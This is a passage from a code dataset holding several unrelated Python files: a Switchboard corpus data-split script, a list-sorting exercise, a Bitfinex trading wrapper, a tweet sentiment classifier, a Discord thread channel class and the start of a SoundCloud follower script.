= datetime.now()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"method\")\nargs = parser.parse_args()\n\n# set paths to metadata\nif platform.system() == 'Linux':\n print('Running on DICE')\n dialogue_tree = ET.parse(\"/group/corpora/public/switchboard/nxt/xml/corpus-resources/dialogues.xml\") # on DICE\n swbd_complete_path = \"./data/splits/complete.txt\"\nelse:\n print('Running on local')\n dialogue_tree = ET.parse(\"./data/dialogues_excerpt.xml\") # local\n swbd_complete_path = \"./data/splits/complete_swbd.txt\"\n\n# settings\ntest_split = 0.25\n\n# get list of dialogues we want to use\ndialogues_to_use = []\nwith open(swbd_complete_path) as file:\n for line in file:\n dialogues_to_use.append(line.strip())\ntotal_dialogues = len(dialogues_to_use)\n\n# get dictionary of dialogues and their speakers, and dictionary of speakers and their dialogues\ndialogue_root = dialogue_tree.getroot()\ndialogue_dict = {}\nspeaker_dict = defaultdict(list)\nspeaker_regex = re.compile(r\"speakers.xml#id\\((.*)\\)\")\nfor dialogue in dialogue_root:\n speakers = list()\n dialogue_id = f'sw0{dialogue.attrib[\"swbdid\"]}'\n if dialogue_id in dialogues_to_use:\n for pointer in dialogue:\n pointer_value = pointer.attrib['href']\n speaker = re.search(speaker_regex, pointer_value)\n if speaker:\n speakers.append(speaker[1])\n dialogue_dict[dialogue_id] = speakers\n speaker_dict[speakers[0]].append(dialogue_id)\n speaker_dict[speakers[1]].append(dialogue_id)\n\n\npprint(dialogue_dict)\npprint(speaker_dict)\n\n#work out which speakers are in multiple conversations\nspeakers_in_multiple_dialogues = set()\ndialogues_with_overlap_speakers = set()\nfor speaker in speaker_dict:\n if len(speaker_dict[speaker]) > 1:\n speakers_in_multiple_dialogues.add(speaker)\nprint(f\"there are {len(speaker_dict)} distinct speakers in the data set\")\nprint(f\"there are {len(speakers_in_multiple_dialogues)} speakers in multiple dialogues: {speakers_in_multiple_dialogues}\")\nfor speaker in speakers_in_multiple_dialogues:\n for dialogue in speaker_dict[speaker]:\n dialogues_with_overlap_speakers.add(dialogue)\nprint(f\"there are {len(dialogues_with_overlap_speakers)} dialogues with these speakers in them\")\n\n# work out desired size of each split\nmax_test_dialogues = int(total_dialogues * test_split)\nmax_train_dialogues = total_dialogues - max_test_dialogues\nprint(f\"total dialogues: {total_dialogues}, test target: {max_test_dialogues}, train target: {max_train_dialogues}\")\n\n# allocate dialogues randomly to each set\ndef allocate_dialogues():\n all_dialogues = list(dialogue_dict.keys())\n random.shuffle(all_dialogues)\n test_set = set(all_dialogues[0:max_test_dialogues])\n train_set = set(all_dialogues[max_test_dialogues:])\n return test_set, train_set\n\n\n# check how many speakers appear in both sets\ndef check_speaker_overlaps(test_dialogues, train_dialogues):\n test_speakers = set()\n train_speakers = set()\n for dialogue in test_dialogues:\n test_speakers.add(dialogue_dict[dialogue][0])\n test_speakers.add(dialogue_dict[dialogue][1])\n for dialogue in train_dialogues:\n train_speakers.add(dialogue_dict[dialogue][0])\n train_speakers.add(dialogue_dict[dialogue][1])\n overlap_speakers = test_speakers.intersection(train_speakers)\n print(f'There are {len(overlap_speakers)} speakers in both data sets.')\n overlap_dialogues = set()\n for speaker in overlap_speakers:\n for dialogue in speaker_dict[speaker]:\n overlap_dialogues.add(dialogue)\n print(f'These speakers are in {len(overlap_dialogues)} dialogues.')\n\n return len(overlap_speakers), len(overlap_dialogues)\n\n\n# use all the speakers that appear more than once in the training set\nif args.method == \"simple\":\n all_dialogues = dialogue_dict.keys()\n train_set = dialogues_with_overlap_speakers\n print(train_set)\n test_set = set()\n for dialogue in all_dialogues:\n if dialogue not in train_set:\n test_set.add(dialogue)\n print(test_set)\n\n\n# randomly allocate dialogues in a 25/75 split\nif args.method == \"random\":\n test_set, train_set = allocate_dialogues()\n\ntest_set_size = len(test_set)\ntrain_set_size = len(train_set)\nprint(f\"test set contains {test_set_size} dialogues, train set contains {train_set_size} dialogues.\")\nprint(f\"Total dialogues in both sets: {test_set_size +train_set_size} \"\n f\"(sanity check, this should be {total_dialogues}).\")\ncheck_speaker_overlaps(test_set, train_set)\n\nwith open(\"suggested_train_set.txt\", \"w\") as f:\n for dialogue in train_set:\n f.writelines(f\"{dialogue}\\n\")\nwith open(\"suggested_test_set.txt\", \"w\") as f:\n for dialogue in test_set:\n f.writelines(f\"{dialogue}\\n\")\n\nprint(datetime.now() - startTime)\n\n","sub_path":"switchboard_determine_data_split.py","file_name":"switchboard_determine_data_split.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"441034475","text":"#Accepts X amount of numbers from a user\n#Store each value in a list\n#Create one or more functions which return the maximum number in the list.\n#Create one or more functions which return the smallest number in the list.\n\n#print (\"Please enter all the numbers in your list separated by one space\")\n#Xlist = [int(x) for x in input(\"Please enter all the numbers in your list separated by one space: \").split()]\n#print(Xlist)\n#print (\"Max value element : \", max(Xlist))\n#print (\"From your list: \", Xlist, \"Min value element : \", min(Xlist), \"Max value element : \", max(Xlist))\n\n#Xlist = [input(\"Please enter all the numbers in your list separated by one space: \").split() ]\n#setXnum =[]\n#for a in Xlist:\n# setXnum = setXnum.append(a)\n# print(Xlist)\n# print(setXnum)\n\nXlist = input(\"Please enter all the numbers in your list separated by one space: \").split()\nprint(Xlist)\nnew_list = []\nwhile Xlist:\n minimum = Xlist[0] # arbitrary number in list \n for x in Xlist: \n if x < minimum:\n minimum = x\n new_list.append(minimum)\n Xlist.remove(minimum) \n\nprint (new_list)","sub_path":"set_max_min.py","file_name":"set_max_min.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"466071736","text":"import exchanges.api.bitfinex as bitfinex\nfrom exchanges.Exchange import Exchange\nimport time\n\n\nclass Bitfinex(Exchange):\n name = 'BITFINEX'\n\n last_price_btc = 0\n last_price_eth = 0\n last_price_ltc_usd = 0\n last_price_ltc_btc = 0\n\n btc_balance = 0\n usd_balance = 0\n eth_balance = 0\n ltc_balance = 0\n\n min_trade_btc = bitfinex.min_tradesize_btc\n min_trade_eth = bitfinex.min_tradesize_eth\n min_trade_ltc = bitfinex.min_tradesize_ltc\n\n fees = bitfinex.fees\n\n ltc_address = 'LSNSzfdT4AVAtxCbmcPXNnscSqP9oV6AUB'\n\n def last(self):\n self.last_price_btc = float(bitfinex.ticker('btcusd')['last_price'])\n self.last_price_eth = float(bitfinex.ticker('ethusd')['last_price'])\n self.last_price_ltc_usd = float(bitfinex.ticker('ltcusd')['last_price'])\n self.last_price_ltc_btc = float(bitfinex.ticker('ltcbtc')['last_price'])\n return {'last_btc': self.last_price_btc,\n 'last_eth': self.last_price_eth,}\n\n def update_prices(self):\n self.last_price_btc = float(bitfinex.ticker('btcusd')['last_price'])\n self.last_price_eth = float(bitfinex.ticker('ethusd')['last_price'])\n self.last_price_ltc_usd = float(bitfinex.ticker('ltcusd')['last_price'])\n self.last_price_ltc_btc = float(bitfinex.ticker('ltcbtc')['last_price'])\n\n def book(self, currency):\n book = {}\n if currency == 'BTC':\n book = bitfinex.books('btcusd')\n elif currency == 'ETH':\n book = bitfinex.books('ethusd')\n elif currency == 'LTC_USD':\n book = bitfinex.books('ltcusd')\n elif currency == 'LTC_BTC':\n book = bitfinex.books('ltcbtc')\n bids = []\n for bid in book['bids']:\n bids.append([float(bid['price']), float(bid['amount'])])\n asks = []\n for ask in book['asks']:\n asks.append([float(ask['price']), float(ask['amount'])])\n return {'bids': bids,\n 'asks': asks}\n\n def balances(self):\n balances = bitfinex.balances('btc', 'usd', 'eth', 'ltc')\n self.btc_balance = balances['btc']\n self.usd_balance = balances['usd']\n self.eth_balance = balances['eth']\n self.ltc_balance = balances['ltc']\n return {'btc': self.btc_balance,\n 'usd': self.usd_balance,\n 'eth': self.eth_balance,\n 'ltc': self.ltc_balance\n }\n\n def update_balances(self):\n balances = bitfinex.balances('btc', 'usd', 'eth', 'ltc')\n self.btc_balance = balances['btc']\n self.usd_balance = balances['usd']\n self.eth_balance = balances['eth']\n self.ltc_balance = balances['ltc']\n\n # not caring for partial tickets\n def buy(self, currency, price, amount):\n r = {}\n if currency == 'BTC':\n r = bitfinex.newOrder('buy', price, amount, 'exchange limit', 'btcusd')\n elif currency == 'ETH':\n r = bitfinex.newOrder('buy', price, amount, 'exchange limit', 'ethusd')\n elif currency == 'LTC_USD':\n r = bitfinex.newOrder('buy', price, amount, 'exchange limit', 'ltcusd')\n elif currency == 'LTC_BTC':\n r = bitfinex.newOrder('buy', price, amount, 'exchange limit', 'ltcbtc')\n order_id = r['order_id']\n for i in range(3):\n if float(r['executed_amount']) != 0:\n traded_amount = float(r['executed_amount'])\n avg_price = float(r['avg_execution_price'])\n return {'success': True,\n 'amount': traded_amount,\n 'price': avg_price,\n 'order_id': order_id}\n r = bitfinex.order_status(order_id)\n time.sleep(1)\n else:\n return {'order_id': order_id,\n 'success': False}\n\n def sell(self, currency, price, amount):\n r = {}\n if currency == 'BTC':\n r = bitfinex.newOrder('sell', price, amount, 'exchange limit', 'btcusd')\n elif currency == 'ETH':\n r = bitfinex.newOrder('sell', price, amount, 'exchange limit', 'ethusd')\n elif currency == 'LTC_USD':\n r = bitfinex.newOrder('sell', price, amount, 'exchange limit', 'ltcusd')\n elif currency == 'LTC_BTC':\n r = bitfinex.newOrder('sell', price, amount, 'exchange limit', 'ltcbtc')\n order_id = r['order_id']\n for i in range(3):\n if float(r['executed_amount']) != 0:\n traded_amount = float(r['executed_amount'])\n avg_price = float(r['avg_execution_price'])\n return {'success': True,\n 'amount': traded_amount,\n 'price': avg_price,\n 'order_id': order_id}\n r = bitfinex.order_status(order_id)\n time.sleep(1)\n else:\n return {'order_id': order_id,\n 'success': False}\n\n def cancel(self, order_id):\n try:\n return {'success': bool(bitfinex.cancel_order(order_id)['success'])}\n except KeyError:\n return {'success' : False}\n\n def transfer(self, currency, address, amount):\n if currency == 'LTC':\n self.withdrawLTC(address, amount)\n\n def withdrawLTC(self, address, amount):\n r = bitfinex.withdrawCoin('litecoin', str(amount), address)\n print(r['message'])\n return {'success': True if r['status'] == 'success' else False, 'id': r['withdrawal_id'], 'sent': amount - 0.0001}\n\n\n\n\n\n\n\n\n","sub_path":"Bitfinex.py","file_name":"Bitfinex.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"452086420","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom nltk.corpus import stopwords\nimport pickle\nimport re\nfrom nltk.tokenize import word_tokenize\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom sklearn.linear_model import LogisticRegression\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score\n\nstop_words = set(stopwords.words('english'))\nstop_words.remove('not')\n\ndf = pd.read_table('../Datasets/SemEval2017-task4-dev.subtask-BD.english.INPUT.txt', names = ['ID', 'topic', 'label', 'tweet', 'NaN'])\ndf1 = pd.read_table('../Datasets/SemEval2017-task4-test.subtask-BD.english.txt', names = ['ID', 'topic', 'label', 'tweet', 'NaN'])\ndf['label'] = df['label'].replace('negative', 0)\ndf['label'] = df['label'].replace('positive', 1)\n\ndf1['label'] = df1['label'].replace('negative', 0)\ndf1['label'] = df1['label'].replace('positive', 1)\n\nX = df['tweet']\ny = df['label']\n\nX1 = df1['tweet']\ny1 = df1['label']\n\ndef tweet_preprocess(df_tweet):\n tweet_new=[]\n for i in range(0,len(df_tweet)):\n tweet=df_tweet[i]\n # Lower\n tweet=tweet.lower()\n # Remove emoji\n emoji = re.compile(\"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # pictographs, symbols\n u\"\\U0001F680-\\U0001F6FF\" # map symbols, transport\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n u\"\\U00002702-\\U000027B0\"\n u\"\\U000024C2-\\U0001F251\"\n \"]+\", flags=re.UNICODE)\n tweet = emoji.sub(r'', tweet)\n # Remove urls\n tweet = re.sub(r'http\\S+|www\\S+|https\\S+', ' ', tweet)\n # Remove @user and #hashtag\n tweet = re.sub(r'\\@\\w+|\\#', ' ', tweet)\n # Remove special numbers and punctuations\n tweet = re.sub(r'[^A-Za-z0-9]', ' ', tweet)\n # Remove numbers again\n tweet = re.sub(r'[0-9]', ' ', tweet)\n # Remove short words which have length 3 or less\n tweet = ' '.join([word for word in tweet.split() if len(word) > 2])\n # Remove stop words\n tweet = word_tokenize(tweet)\n tweet = [word for word in tweet if not word in stop_words]\n tweet = ' '.join(tweet)\n tweet_new.append(tweet)\n return tweet_new\n\nX = tweet_preprocess(df.tweet)\nX1 = tweet_preprocess(df1.tweet)\n\n# Tokenize\ntok = Tokenizer()\ntok.fit_on_texts(df.tweet)\nvocab_size = len(tok.word_index) + 1\n# Pad Sequence\nX_train = pad_sequences(tok.texts_to_sequences(X), maxlen = 100)\nX_test = pad_sequences(tok.texts_to_sequences(X1), maxlen = 100)\n\ny_train = y\ny1 = y1\n\nembeddings_index = dict()\nf = open('../glove.6B.100d.txt')\nfor line in f:\n values = line.split()\n word = values[0]\n coefs = np.asarray(values[1:], dtype = 'float32')\n embeddings_index[word] = coefs\nf.close()\nprint('Loaded %s word vectors.' % len(embeddings_index))\n\ndef word_vector(tokens, size):\n vec = np.zeros(size).reshape((1, size))\n count = 0\n for word in tokens:\n try:\n vec += embeddings_index[word].reshape((1, size))\n count += 1.\n except KeyError:\n continue\n if count != 0:\n vec /= count\n return vec\nwordvec = np.zeros((len(X_train), 100))\nfor i in range(len(X_train)):\n wordvec[i,:] = word_vector(X_train[i], 100)\nwordvec_df = pd.DataFrame(wordvec)\n\nwordvec_test = np.zeros((len(X1), 100))\nfor i in range(len(X1)):\n wordvec_test[i,:] = word_vector(X1[i], 100)\nwordvec_df_test = pd.DataFrame(wordvec_test)\n\nX_train, X_valid, y_train, y_valid = train_test_split( wordvec_df, y_train, test_size = 0.2, random_state = 5)\nlr = LogisticRegression(solver = 'lbfgs')\nlr.fit(X_train, y_train)\nprediction = lr.predict(wordvec_df_test)\nscore = lr.score(X_valid, y_valid)\nscore1 = lr.score(wordvec_df_test, y1)\nprecision = precision_score(y1, prediction, average = 'macro')\nrecall = recall_score(y1, prediction, average = 'macro')\nf1 = f1_score(y1, prediction, average = 'macro')\nprint(score)\nprint(score1)\nprint(precision)\nprint(recall)\nprint(f1)","sub_path":"B/B_lr.py","file_name":"B_lr.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"481211955","text":"__all__ = ('AUTO_ARCHIVE_DEFAULT', 'AUTO_ARCHIVE_OPTIONS', 'ChannelThread', )\n\nfrom ...backend.utils import copy_docs\nfrom ...backend.export import export\n\nfrom ..core import CHANNELS, GUILDS\nfrom ..permission import Permission\nfrom ..permission.permission import PERMISSION_NONE, PERMISSION_TEXT_DENY, PERMISSION_VOICE_DENY, \\\n PERMISSION_MASK_VIEW_CHANNEL, PERMISSION_MASK_MANAGE_MESSAGES, PERMISSION_MASK_SEND_MESSAGES, \\\n PERMISSION_DENY_SEND_MESSAGES_ONLY\nfrom ..user import ZEROUSER, create_partial_user_from_id\nfrom ..user.thread_profile import thread_user_create\nfrom ..preconverters import preconvert_snowflake, preconvert_str, preconvert_int, preconvert_int_options, \\\n preconvert_bool\nfrom ..utils import timestamp_to_datetime\n\nfrom .channel_base import ChannelBase\nfrom .channel_guild_base import ChannelGuildBase\nfrom .channel_text_base import ChannelTextBase\n\n\nAUTO_ARCHIVE_DEFAULT = 3600\nAUTO_ARCHIVE_OPTIONS = frozenset((3600, 86400, 259200, 604800))\n\nCHANNEL_THREAD_NAMES = {\n 9: None,\n 10: 'announcements',\n 11: 'public',\n 12: 'private',\n}\n\n@export\nclass ChannelThread(ChannelGuildBase, ChannelTextBase):\n \"\"\"\n Represents a ``Guild`` thread channel\n \n Attributes\n ----------\n id : `int`\n The unique identifier of the channel.\n _permission_cache : `None` or `dict` of (`int`, ``Permission``) items\n A `user_id` to ``Permission`` relation mapping for caching permissions. Defaults to `None`.\n parent : `None` or ``ChannelText``\n The text channel from where the thread is created from.\n guild_id : `int`\n The channel's guild's identifier.\n name : `str`\n The channel's name.\n _message_history_collector : `None` or ``MessageHistoryCollector``\n Collector for the channel's message history.\n _message_keep_limit : `int`\n The channel's own limit of how much messages it should keep before removing their reference.\n message_history_reached_end : `bool`\n Whether the channel's message's are loaded till their end. If the channel's message history reached it's end\n no requests will be requested to get older messages.\n messages : `deque` of ``Message`` objects\n The channel's message history.\n archived : `bool`\n Whether the thread s archived.\n archived_at : `None` or `datetime`\n When the thread's archive status was last changed.\n auto_archive_after : `int`\n Duration in seconds to automatically archive the thread after recent activity. Can be one of: `3600`, `86400`,\n `259200`, `604800`.\n invitable : `bool`\n Whether non-moderators can invite other non-moderators to the threads. Only applicable for private threads.\n open : `bool`\n Whether the thread channel is open.\n slowmode : `int`\n The amount of time in seconds what a user needs to wait between it's each message. Bots and user accounts with\n `manage_messages` or `manage_channel` permissions are unaffected.\n thread_users : `None` or `dict` of (`int`, ``ClientUserBase``) items\n The users inside of the thread if any.\n type : `int` = `12`\n The channel's Discord side type.\n owner_id : `int`\n The channel's creator's identifier. Defaults to `0`.\n \n Class Attributes\n ----------------\n DEFAULT_TYPE : `int` = `12`\n The preferred channel type, if there is no channel type included.\n INTERCHANGE : `tuple` of `int` = `(10, 11, 12,)`\n Defines to which channel type this channel's type can be interchanged. The channel's direct type must be of\n them.\n ORDER_GROUP : `int` = `9`\n An order group what defined which guild channel type comes after the other one.\n MESSAGE_KEEP_LIMIT : `int` = `10`\n The default amount of messages to store at `.messages`.\n REPRESENTED_TYPES : `tuple` = (`10`, `11`, `12`,)\n The type values which ``ChannelThread`` might represent.\n \"\"\"\n __slots__ = ('archived', 'archived_at', 'auto_archive_after', 'invitable', 'open', 'owner_id', 'slowmode',\n 'thread_users', 'type')\n \n DEFAULT_TYPE = 12\n ORDER_GROUP = 9\n INTERCHANGE = ()\n REPRESENTED_TYPES = (10, 11, 12,)\n \n def __new__(cls, data, client, guild_id):\n \"\"\"\n Creates a guild thread channel from the channel data received from Discord. If the channel already exists and\n if it is partial, then updates it.\n \n Parameters\n ----------\n data : `dict` of (`str`, `Any`) items\n Channel data receive from Discord.\n client : `None` or ``Client``\n The client, who received the channel's data, if any.\n guild_id : `int`\n The channel's guild's identifier.\n \"\"\"\n channel_id = int(data['id'])\n try:\n self = CHANNELS[channel_id]\n except KeyError:\n self = object.__new__(cls)\n self.id = channel_id\n CHANNELS[channel_id] = self\n self._messageable_init()\n self.thread_users = None\n update = True\n else:\n if self.clients:\n update = False\n else:\n update = True\n \n if update:\n self._permission_cache = None\n self.type = data['type']\n self._init_parent(data, guild_id)\n self._update_attributes(data)\n \n owner_id = data.get('owner_id', None)\n if owner_id is None:\n owner_id = 0\n else:\n owner_id = int(owner_id)\n self.owner_id = owner_id\n \n if (client is not None):\n try:\n thread_user_data = data['member']\n except KeyError:\n pass\n else:\n thread_user_create(self, client, thread_user_data)\n \n return self\n \n \n @copy_docs(ChannelBase.__repr__)\n def __repr__(self):\n repr_parts = ['<', self.__class__.__name__]\n \n try:\n type_name = CHANNEL_THREAD_NAMES[self.type]\n except KeyError:\n type_name = repr(self.type)\n \n if (type_name is not None):\n repr_parts.append(' (')\n repr_parts.append(type_name)\n repr_parts.append(')')\n \n repr_parts.append(' id=')\n repr_parts.append(repr(self.id))\n repr_parts.append(', name=')\n repr_parts.append(repr(self._get_processed_name()))\n \n repr_parts.append('>')\n return ''.join(repr_parts)\n \n \n @property\n def owner(self):\n \"\"\"\n Returns the thread threads's creator.\n \n Returns\n -------\n owner : ``UserClientBase``\n If user the guild has no owner, returns `ZEROUSER`.\n \"\"\"\n owner_id = self.owner_id\n if owner_id:\n owner = create_partial_user_from_id(owner_id)\n else:\n owner = ZEROUSER\n \n return owner\n \n \n def is_announcements(self):\n \"\"\"\n Returns whether the thread channel is bound to an announcements channel.\n \n Returns\n -------\n is_announcements : `bool`\n \"\"\"\n return (self.type == 10)\n \n \n def is_public(self):\n \"\"\"\n Returns whether the thread channel is public.\n \n Returns\n -------\n is_public : `bool`\n \"\"\"\n return (self.type == 11)\n \n \n def is_private(self):\n \"\"\"\n Returns whether the thread channel is private.\n \n Returns\n -------\n is_private : `bool`\n \"\"\"\n return (self.type == 12)\n \n \n def _init_parent(self, data, guild_id):\n \"\"\"\n Initializes the `.parent` attribute of the channel. If a channel is under the ``Guild``, and not in a parent\n (parent channels are all like these), then their `.parent` is the ``Guild`` itself.\n \n Parameters\n ----------\n data : `dict` of (`str`, `Any`) items\n Channel data received from Discord.\n guild : ``Guild``\n The guild of the channel.\n \"\"\"\n if guild_id:\n try:\n guild = GUILDS[guild_id]\n except KeyError:\n pass\n else:\n guild.threads[self.id] = self\n \n self.guild_id = guild_id\n \n parent_id = data.get('parent_id', None)\n if (parent_id is None):\n parent_id = 0\n else:\n parent_id = int(parent_id)\n \n self.parent_id = parent_id\n \n \n @classmethod\n @copy_docs(ChannelBase._create_empty)\n def _create_empty(cls, channel_id, channel_type, guild_id):\n self = super(ChannelThread, cls)._create_empty(channel_id, channel_type, guild_id)\n self._messageable_init()\n \n self.archived = False\n self.archived_at = None\n self.auto_archive_after = AUTO_ARCHIVE_DEFAULT\n self.open = False\n self.owner_id = 0\n self.slowmode = 0\n self.type = channel_type\n self.thread_users = None\n self.invitable = True\n \n return self\n \n @property\n @copy_docs(ChannelBase.display_name)\n def display_name(self):\n return self.name.lower()\n \n \n @property\n @copy_docs(ChannelBase.users)\n def users(self):\n thread_users = self.thread_users\n if thread_users is None:\n users = []\n else:\n users = list(thread_users.values())\n \n return users\n \n \n @copy_docs(ChannelBase.iter_users)\n def iter_users(self):\n thread_users = self.thread_users\n if (thread_users is not None):\n yield from thread_users.values()\n \n \n @copy_docs(ChannelBase._update_attributes)\n def _update_attributes(self, data):\n self.name = data['name']\n slowmode = data.get('rate_limit_per_user', None)\n if slowmode is None:\n slowmode = 0\n self.slowmode = slowmode\n \n # Move to sub data\n data = data['thread_metadata']\n \n self.archived = data.get('archived', False)\n \n \n self.auto_archive_after = data['auto_archive_duration']*60\n \n archived_at_data = data.get('archive_timestamp', None)\n if archived_at_data is None:\n archived_at = None\n else:\n archived_at = timestamp_to_datetime(archived_at_data)\n self.archived_at = archived_at\n \n self.open = not data.get('locked', True)\n self.invitable = data.get('invitable', True)\n \n \n def _difference_update_attributes(self, data):\n \"\"\"\n Updates the channel and returns it's overwritten attributes as a `dict` with a `attribute-name` - `old-value`\n relation.\n \n Parameters\n ----------\n data : `dict` of (`str`, `Any`) items\n Channel data received from Discord.\n \n Returns\n -------\n old_attributes : `dict` of (`str`, `Any`) items\n All item in the returned dict is optional.\n \n Returned Data Structure\n -----------------------\n \n +-----------------------+-----------------------------------+\n | Keys | Values |\n +=======================+===================================+\n | archived | `bool` |\n +-----------------------+-----------------------------------+\n | archived_at | `None` or `datetime` |\n +-----------------------+-----------------------------------+\n | auto_archive_after | `int` |\n +-----------------------+-----------------------------------+\n | invitable | `bool` |\n +-----------------------+-----------------------------------+\n | name | `str` |\n +-----------------------+-----------------------------------+\n | open | `bool` |\n +-----------------------+-----------------------------------+\n | slowmode | `int` |\n +-----------------------+-----------------------------------+\n \"\"\"\n old_attributes = {}\n \n name = data['name']\n if self.name != name:\n old_attributes['name'] = self.name\n self.name = name\n \n slowmode = data.get('rate_limit_per_user', None)\n if slowmode is None:\n slowmode = 0\n if self.slowmode != slowmode:\n old_attributes['slowmode'] = self.slowmode\n self.slowmode = slowmode\n \n \n # Move to sub data\n data = data['thread_metadata']\n \n \n archived = data.get('archived', False)\n if (self.archived != archived):\n old_attributes['archived'] = self.archived\n self.archived = archived\n \n \n auto_archive_after = data['auto_archive_duration']*60\n if (self.auto_archive_after != auto_archive_after):\n old_attributes['auto_archive_after'] = self.auto_archive_after\n self.auto_archive_after = auto_archive_after\n \n \n archived_at_data = data.get('archive_timestamp', None)\n if archived_at_data is None:\n archived_at = None\n else:\n archived_at = timestamp_to_datetime(archived_at_data)\n if (self.archived_at != archived_at):\n old_attributes['archived_at'] = self.archived_at\n self.archived_at = archived_at\n \n open_ = not data.get('locked', True)\n if (self.open != open_):\n old_attributes['open'] = self.open\n self.open = open_\n \n \n invitable = data.get('invitable', True)\n if (self.invitable != invitable):\n old_attributes['invitable'] = self.invitable\n self.invitable = invitable\n \n \n return old_attributes\n \n \n @copy_docs(ChannelBase._delete)\n def _delete(self):\n guild_id = self.guild_id\n try:\n guild = GUILDS[guild_id]\n except KeyError:\n pass\n else:\n try:\n del guild.threads[self.id]\n except KeyError:\n pass\n \n thread_users = self.thread_users\n if (thread_users is not None):\n self.thread_users = None\n channel_id = self.id\n for user in thread_users.values():\n thread_profiles = user.thread_profiles\n if (thread_profiles is not None):\n try:\n del thread_profiles[channel_id]\n except KeyError:\n pass\n else:\n if (not thread_profiles):\n user.thread_profiles = None\n \n \n @copy_docs(ChannelBase.permissions_for)\n def permissions_for(self, user):\n parent = self.parent\n if parent is None:\n return PERMISSION_NONE\n \n result = parent._permissions_for(user)\n if not result&PERMISSION_MASK_VIEW_CHANNEL:\n return PERMISSION_NONE\n \n # text channels don't have voice permissions\n result &= PERMISSION_VOICE_DENY\n \n if self.type and (not result&PERMISSION_MASK_MANAGE_MESSAGES):\n result = result&PERMISSION_TEXT_DENY\n return Permission(result)\n \n if result&PERMISSION_MASK_SEND_MESSAGES:\n result &= PERMISSION_DENY_SEND_MESSAGES_ONLY\n else:\n result &= PERMISSION_TEXT_DENY\n \n return Permission(result)\n \n \n @copy_docs(ChannelBase.permissions_for_roles)\n def permissions_for_roles(self, *roles):\n parent = self.parent\n if parent is None:\n return PERMISSION_NONE\n \n result = parent._permissions_for_roles(roles)\n if not result&PERMISSION_MASK_VIEW_CHANNEL:\n return PERMISSION_NONE\n \n # text channels don't have voice permissions\n result &= PERMISSION_VOICE_DENY\n \n if self.type and (not result&PERMISSION_MASK_MANAGE_MESSAGES):\n result = result&PERMISSION_TEXT_DENY\n return Permission(result)\n \n if result&PERMISSION_MASK_SEND_MESSAGES:\n result &= PERMISSION_DENY_SEND_MESSAGES_ONLY\n else:\n result &= PERMISSION_TEXT_DENY\n \n return Permission(result)\n \n \n @classmethod\n def precreate(cls, channel_id, **kwargs):\n \"\"\"\n Precreates the channel by creating a partial one with the given parameters. When the channel is loaded\n the precrated channel will be picked up. If an already existing channel would be precreated, returns that\n instead and updates that only, if that is a partial channel.\n \n Parameters\n ----------\n channel_id : `int` or `str`\n The channel's id.\n **kwargs : keyword parameters\n Additional predefined attributes for the channel.\n \n Other Parameters\n ----------------\n auto_archive_after: `int`, Optional (Keyword only)\n The channel's ``.auto_archive_after``.\n invitable : `bool`, Optional (Keyword only)\n The channel's `..invitable``.\n open : `bool`, Optional (Keyword only)\n The channel's ``.open``.\n name : `str`, Optional (Keyword only)\n The channel's ``.name``.\n slowmode : `int`, Optional (Keyword only)\n The channel's ``.slowmode``.\n type : `int`, Optional (Keyword only)\n The channel's ``.type``.\n \n Returns\n -------\n channel : ``ChannelThread``\n \n Raises\n ------\n TypeError\n If any parameter's type is bad or if unexpected parameter is passed.\n ValueError\n If an parameter's type is good, but it's value is unacceptable.\n \"\"\"\n channel_id = preconvert_snowflake(channel_id, 'channel_id')\n \n if kwargs:\n processable = []\n \n try:\n value = kwargs.pop('name')\n except KeyError:\n pass\n else:\n name = preconvert_str(value, 'name', 1, 100)\n processable.append(('name', name))\n \n \n try:\n slowmode = kwargs.pop('slowmode')\n except KeyError:\n pass\n else:\n slowmode = preconvert_int(slowmode, 'slowmode', 0, 21600)\n processable.append(('slowmode', slowmode))\n \n \n try:\n auto_archive_after = kwargs.pop('auto_archive_after')\n except KeyError:\n pass\n else:\n auto_archive_after = preconvert_int_options(auto_archive_after, 'auto_archive_after',\n AUTO_ARCHIVE_OPTIONS)\n processable.append(('auto_archive_after', auto_archive_after))\n \n \n try:\n type_ = kwargs.pop('type')\n except KeyError:\n pass\n else:\n type_ = preconvert_int(type_, 'type', 0, 256)\n if (type_ not in cls.REPRESENTED_TYPES):\n raise ValueError(f'`type` should be one of: {cls.REPRESENTED_TYPES!r}')\n \n processable.append(('type', type_))\n \n \n for attribute_name in ('open', 'invitable'):\n try:\n attribute_value = kwargs.pop(attribute_name)\n except KeyError:\n pass\n else:\n attribute_value = preconvert_bool(attribute_value, attribute_name)\n processable.append((attribute_name, attribute_value))\n \n \n if kwargs:\n raise TypeError(f'Unused or unsettable attributes: {kwargs}')\n \n else:\n processable = None\n \n try:\n self = CHANNELS[channel_id]\n except KeyError:\n self = cls._create_empty(channel_id, cls.DEFAULT_TYPE, 0)\n CHANNELS[channel_id] = self\n \n else:\n if not self.partial:\n return self\n \n if (processable is not None):\n for item in processable:\n setattr(self, *item)\n \n return self\n","sub_path":"hata/discord/channel/channel_thread.py","file_name":"channel_thread.py","file_ext":"py","file_size_in_byte":20817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"280329040","text":"__author__ = 'SWarren'\nimport soundcloud\nimport time\n\n\ndef main():\n client = soundcloud.Client(\n client_id='',\n client_secret='',\n username='',\n password=''\n )\n\n fileOut = open('out.txt','w+')\n\n FollowMe = grab_followers_id(client)\n print(len(FollowMe))\n print(FollowMe)\n\n IFollow = grab_following_id(client)\n print(len(IFollow))\n print(IFollow)\n removedfriends = (list(set(IFollow) - set(FollowMe)))\n addfriends = 